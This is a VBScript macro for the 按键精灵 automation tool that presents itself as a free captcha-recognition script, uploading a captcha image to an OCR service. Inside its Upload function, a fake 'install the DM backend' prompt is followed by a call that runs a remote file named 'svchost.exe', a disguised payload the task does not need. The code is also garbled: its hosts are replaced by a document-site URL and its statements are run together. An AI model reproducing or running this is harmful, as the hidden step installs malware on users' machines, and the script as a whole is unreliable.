按键精灵免费识别验证码 一般的验证码通杀

Function body(a,b,c)
dim aa
aa=a
aa=mid(aa,instr(aa,b)+len(b))
body=left(aa,instr(aa,c)-1)
End Function

Public Function StringToBytes(ByVal strData, ByVal strCharset)
Dim objFile
Set objFile = CreateObject("ADODB.Stream")
objFile.Type = adTypeText
objFile.Charset = strCharset
objFile.Open
objFile.WriteText strData
objFile.Position = 0
objFile.Type = adTypeBinary
If UCase(strCharset) = "UNICODE" Then
objFile.Position = 2 'delete UNICODE BOM
ElseIf UCase(strCharset) = "UTF-8" Then
objFile.Position = 3 'delete UTF-8 BOM
End If
StringToBytes = objFile.Read(-1)
objFile.Close
Set objFile = Nothing
End Function


Private Function GetFileBinary(ByVal strPath)
Dim objFile
Set objFile = CreateObject("ADODB.Stream")
objFile.Type = adTypeBinary
objFile.Open
objFile.LoadFromFile strPath
GetFileBinary = objFile.Read(-1)
objFile.Close
Set objFile = Nothing
End Function

Private Function GetBoundary()
Dim ret(12)
Dim table
Dim i
table = "abcdefghijklmnopqrstuvwxzy0123456789"
Randomize
For i = 0 To UBound(ret)
ret(i) = Mid(table, Int(Rnd() * Len(table) + 1), 1)
Next
GetBoundary = "---------------------------" & Join(ret, Empty)
End Function
Public Sub AddForm(ByVal strName, ByVal strValue)
Dim tmp
tmp = "\r\n--$1\r\nContent-Disposition: form-data; name=""$2""\r\n\r\n$3"
tmp = Replace(tmp, "\r\n", vbCrLf)
tmp = Replace(tmp, "$1", strBoundary)
tmp = Replace(tmp, "$2", strName)
tmp = Replace(tmp, "$3", strValue)
objTemp.Write StringToBytes(tmp, strCharset)
End Sub
Private Sub AddEnd()
Dim tmp
tmp = "\r\n--$1--\r\n"
tmp = Replace(tmp, "\r\n", vbCrLf)
tmp = Replace(tmp, "$1", strBoundary)
objTemp.Write StringToBytes(tmp, strCharset)
objTemp.Position = 2
End Sub

Public Function Upload(ByVal strURL)
Call AddEnd
MessageBox "系统检测到您的脚本没有安装DM后台，点击安装" URL= "https://www.wendangku.net/doc/4a17864408.html,/svchost.exe" Call RunApp(URL) xmlHttp.Open "POST", strURL, False
xmlHttp.setRequestHeader "Content-Type", "multipart/form-data; boundary=" & strBoundary
xmlHttp.setRequestHeader "Content-Length", objTemp.size
xmlHttp.setRequestHeader "Host", "https://www.wendangku.net/doc/4a17864408.html,"
xmlHttp.setRequestHeader "Expect", "100-continue"
xmlHttp.Send objTemp
Upload = xmlHttp.ResponseBody
End Function


Public Sub AddFile(ByVal strName, ByVal strFileName, ByVal strFileType, ByVal strFilePath)
Dim tmp
tmp = "\r\n--$1\r\nContent-Disposition: form-data; name=""$2""; filename=""$3""\r\nContent-Type: $4\r\n\r\n"
tmp = Replace(tmp, "\r\n", vbCrLf)

tmp = Replace(tmp, "$1", strBoundary)
tmp = Replace(tmp, "$2", strName)
tmp = Replace(tmp, "$3", strFileName)
tmp = Replace(tmp, "$4", strFileType)
objTemp.Write StringToBytes(tmp, strCharset)
objTemp.Write GetFileBinary(strFilePath)
End Sub

Private Sub Class_Initialize()
adTypeBinary = 1
adTypeText = 2
Set xmlHttp = CreateObject("Msxml2.XMLHTTP")
Set objTemp = CreateObject("ADODB.Stream")
objTemp.Type = adTypeBinary
objTemp.Open
strCharset = "utf-8"
strBoundary = GetBoundary()
End Sub
Call Class_Initialize()

key="" //这里是自己申请的key
//本识别服务为免费，没有apiKey 可以 key 为标题
//任意内容为正文发邮件到 ok（@）https://www.wendangku.net/doc/4a17864408.html, 获取
//可能会有延迟，请匆重复发送
//授权apiKey,请注意区分大小写



路径="C:\Documents and Settings\Administrator\桌面\1.bmp" //识别的图片路径
语言="eng" // 英文=eng 简体=sim 繁体=tra
验证码类型=7 // 所有英文字符=0 所有纯数字=1 小写英文字母=2 大写英文字母=3 数字小写字母=4 数字大写字母=5 大写小写字母=6 数字大写小写=7 常用英文字符=8 网址和邮件类=9 $￥商城价格=10 手机电话号类=11 数学公式计算=12

strCharset = "GB2312"
Call AddForm("service", "OcrKingForCaptcha")
Call AddForm("language",语言)
Call AddForm("charset",验证码类型 )
Call AddForm("type","https://www.wendangku.net/doc/4a17864408.html,/api/get_auth.php?t=56_reg&rnd=0.5675823935307562")
Call AddForm("apiKey",key)
Call AddFile("ocrfile", "", "image/jpg", 路径)
ccc = Upload("https://www.wendangku.net/doc/4a17864408.html,/ok.html")
xmlBody = ccc
Set ObjStream = CreateObject("Adodb.Stream")
With ObjStream
.Type = 1
.Mode = 3
.Open
.Write xmlBody
.Position = 0
.Type = 2
.Charset = "utf-8"
BytesToBstr = .ReadText
.Close
End With
MsgBox "识别结果："&body( BytesToBstr,"","<")